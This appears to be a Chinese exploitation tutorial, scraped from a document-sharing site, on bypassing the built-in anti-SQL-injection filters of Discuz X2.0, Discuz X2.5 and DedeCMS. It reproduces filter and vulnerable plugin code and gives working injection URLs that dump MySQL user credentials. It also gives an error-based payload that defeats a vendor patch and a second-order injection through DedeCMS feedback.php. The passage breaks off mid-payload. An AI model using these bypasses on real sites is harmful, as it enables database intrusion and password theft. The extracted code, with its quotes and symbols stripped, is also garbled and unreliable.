已阅读5页,还剩23页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
几种通用防注入程序绕过方法000 前言目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。001 Discuz x2.0防注入防注入原理这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示01functiongetGoods($id)02$query= DB:query(select * from .DB:table(v63_goods). where id =.$id);03$goods= DB:fetch($query);04$goodsendtime2 =date(Y-m-d,$goodsendtime);05$goodsprice2 =$goodsprice;06if($goodssort =2)07$goodsendtime2=date(Y-m-d H:i:s,$goodsendtime);08$query= DB:query(“select * from “.DB:table(v63_pm).” where gid=$goodsid order by id desc “);09$last= DB:fetch($query);10if(is_array($last)11$goodsprice =$lastchujia;12$goodsuid =$lastuid;13$goodsusername =$lastusername;14$goodspm =$last;15if(time()+600$goodsendtime)16$goodsendtime =$lasttime+600;17$goodsendtime2=date(Y-m-d H:i:s,$lasttime+600);18192021return$goods;22触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:下面可以构造如下请求触发漏洞了,如图所示:不过程序内置了一个_do_query_safe函数用来防注入,如图所示这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:因为我们的url中出现了union select,所以会被过滤掉。绕过方法这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:1http:/localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,023,password),8,9,10,11,12,13 from mysql.user这里我们跟踪一下,绕过的具体过程。它会将/*/中间的内容去掉,然后保存在$clean变量中,其值为1select*frompre_v63_goodswhereid =1and1=2union/*/1,2,3,4,5,6,concat(user,023,password),8,9,10,11,12,13frommysql.user再进一步跟踪,它会将/*/也去掉,然对$clean变量做过滤,如图所示此时$clean值,如图所示此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:002 Discuz X2.5防注入防注入原理Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示这里$_configsecurityquerysafeafullnote默认被设置为0,重点关注这一点。这里跟踪一下失败的原因,如图所示:此时观察一下变量,_do_query_safe($sql)函数会将/*/中的内容去掉,然后存到$clean中,如图所示:其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:因为前面提到$_configsecurityquerysafeafullnote=0,所以这里不会替换/*/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:所以注入失败。绕过方法在Mysql当中,定义变量用字符,可以用set a=abc,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用放入sql语句当中,帮助我们绕过防注入程序检查。这里利用如下方式绕过_do_query_safe函数过滤,如下所示:1http:/localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid= union select ,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user这里跟踪一下执行的过程,如图所示:这里有一个if判断,重点看这句1$clean= preg_replace(“/(.+?)/s”,”,$sql);它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用1unionselect这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示:这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下:加了一个判断,过滤字符串中的,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:1if(strpos($sql,/) = false &strpos($sql,#) = false &strpos($sql, ) = false) $clean= preg_replace(“/(.+?)/s”,”,$sql);这里我只要稍做一下变换就可以让字符消失,从而绕过它的过滤,利用如下所示:1http:/localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid= or ” union select 1 from (select count(*),concat(select database(),floor(rand(0)*2)a from information_schema.tables group by a)b where 这里我引入了用来隐藏第一个字符,并将第一个替换为”,这样便可以替换掉第二个,这里我们跟踪一下代码,如图所示:可以看到$clean变为1select * from pre_v63_goods where id =“成功绕过补丁,如图所示:不过这样做的代价是不能再使用union select了,只能通过报错获取数据。003 DedeCMS防注入防注入原理这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。漏洞存在于/plus/feedback.php中的第244行,代码如下所示01M_ID,0,0,$feedbacktype,$face,$msg); ;11$rs=$dsql-ExecuteNoneQuery($inquery);12if(!$rs)1314ShowMsg( 发表评论错误! , -1);15/echo $dsql-GetError();16exit();17181920/引用回复21elseif($comtype=reply)2223$row=$dsql-GetOne(SELECT * FROM #_feedback WHERE id =$fid);24$arctitle=$rowarctitle;25$aid=$rowaid;26$msg=$quotemsg.$msg;27$msg= HtmlReplace($msg, 2);28$inquery=INSERT INTO #_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg) VALUES ($aid,$typeid,$username,$arctitle,$ip,$ischeck,$dtime,$cfg_ml-M_ID,0,0,$feedbacktype,$face,$msg);29$dsql-ExecuteNoneQuery($inquery);30这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示1$row=$dsql-GetOne(“SELECT * FROM #_feedback WHERE id =$fid”);$arctitle=$rowarctitle;这里的查询#_feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,1$inquery= “INSERT INTO #_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg) VALUES ($aid,$typeid,$username,$arctitle,$ip,$ischeck,$dtime,$cfg_ml-M_ID,0,0,$feedbacktype,$face,$msg)”;这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#_feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。绕过方法众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:001functionCheckSql($db_string,$querytype=select)002003global$cfg_cookie_encode;004$clean=”;005$error=”;006$old_pos= 0;007$pos= -1;008$log_file= DEDEINC././data/.md5($cfg_cookie_encode)._safe.txt;009$userIP= GetIP();010$getUrl= GetCurUrl();011012/如果是普通查询语句,直接过滤一些特殊语法013if($querytype=select)014015$notallow1=”0-9a-z._-1,(union|sleep|benchmark|load_file|outfile)0-9a-z.-1,”;016017/$notallow2 = “|/*”;018if(preg_match(“/”.$notallow1.”/i”,$db_string)019020fputs(fopen($log_file,a+),”$userIP|$getUrl|$db_string|SelectBreakrn”);021exit(“Safe Alert: Request Error step 1 !”);022023024025/完整的SQL检查026while(TRUE)027028$pos=strpos($db_string,”,$pos+ 1);029if($pos= FALSE)030031break;032033$clean.=substr($db_string,$old_pos,$pos-$old_pos);034while(TRUE)035036$pos1=strpos($db_string,”,$pos+ 1);037$pos2=strpos($db_string,$pos+ 1);038if($pos1= FALSE)039040break;041042elseif($pos2= FALSE |$pos2$pos1)043044$pos=$pos1;045break;046047$pos=$pos2+ 1;048049$clean.=$s$;050$old_pos=$pos+ 1;051052$clean.=substr($db_string,$old_pos);053$clean= trim(strtolower(preg_replace(array(s+s),array( ),$clean);054055/老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它056if(strpos($clean,union) != FALSE & preg_match(|a-z)union($|a-z)s,$clean) != 0)057058$fail= TRUE;059$error=”union detect”;060061062/发布版本的程序可能比较少包括,#这样的注释,但是黑客经常使用它们063elseif(strpos($clean,/*) 2 |strpos($clean,) != FALSE |strpos($clean,#) != FALSE)064065$fail= TRUE;066$error=”comment detect”;067068069/这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库070elseif(strpos($clean,sleep) != FALSE & preg_match(|a-z)sleep($|a-z)s,$clean) != 0)071072$fail= TRUE;073$error=”slown down detect”;074075elseif(strpos($clean,benchmark) != FALSE & preg_match(|a-z)benchmark($|a-z)s,$clean) != 0)076077$fail= TRUE;078$error=”slown down detect”;079080elseif(strpos($clean,load_file) != FALSE & preg_match(|a-z)load_file($|a-z)s,$clean) != 0)081082$fail= TRUE;083$error=”file fun detect”;084085elseif(strpos($clean,into outfile) != FALSE & preg_match(|a-z)intos+outfile($|a-z)s,$clean) != 0)086087$fail= TRUE;088$error=”file fun detect”;089090091/老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息092elseif(preg_match()*?selects,$clean) != 0)093094$fail= TRUE;095$error=”sub select detect”;096097if(!empty($fail)098099fputs(fopen($log_file,a+),”$userIP|$getUrl|$db_string|$errorrn”);100exit(“Safe Alert: Request Error step 2!”);101102else103104return$db_string;105106但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如select会被替换为$s$,这里用两个包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char()了。因为#_feedback的所有字段都被设置为NOT NULL,而是一个变量,默认为NULL,直接插入的话会报错,所以需要以char()的方法转换一下。1,char(),1,1,1,1,1,1,1,(SELECT user()#,(1,跟踪代码,如图所示如下SQL语句1INSERTINTOdede_feedback(aid,typeid,username,arctitle,ip,ischeck,dtime, mid,bad,good,ftype,f
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 初中生因病休学申请书
- 2024-2025 学年度成都市小学五年级语文期中模拟卷及参考答案
- 高中语文必修上册同步练习 含答案2.2峨日朵雪峰之侧 致云雀
- 2025年职业防护安全试题及答案
- 2025年小学五年级语文上学期专项练习测试卷
- 2025年城管案例分析试题及答案
- 2025年水痘相关的试题及答案
- 2025年过敏原试题及答案
- 辽宁省公务员2025年公共基础知识专项训练卷
- 2025私营企业劳动合同
- 掼蛋活动方案
- 急性心肌梗死护理管理指南
- 企业信息安全培训课件
- 铝板板材外墙施工技术交底
- 2025下半年四川省自然资源投资集团社会招聘考试笔试参考题库附答案解析
- 2025山东省教育厅直属事业单位省教育发展服务中心第二批招聘9人考试笔试模拟试题及答案解析
- 《祖国啊我亲爱的祖国》课件
- 2025-2030民办乒乓球培训行业调研及商业模式优化分析报告
- 酒店安全生产的管理制度
- 公会主播停播合同范本
- 金属行业入门知识培训课件
评论
0/150
提交评论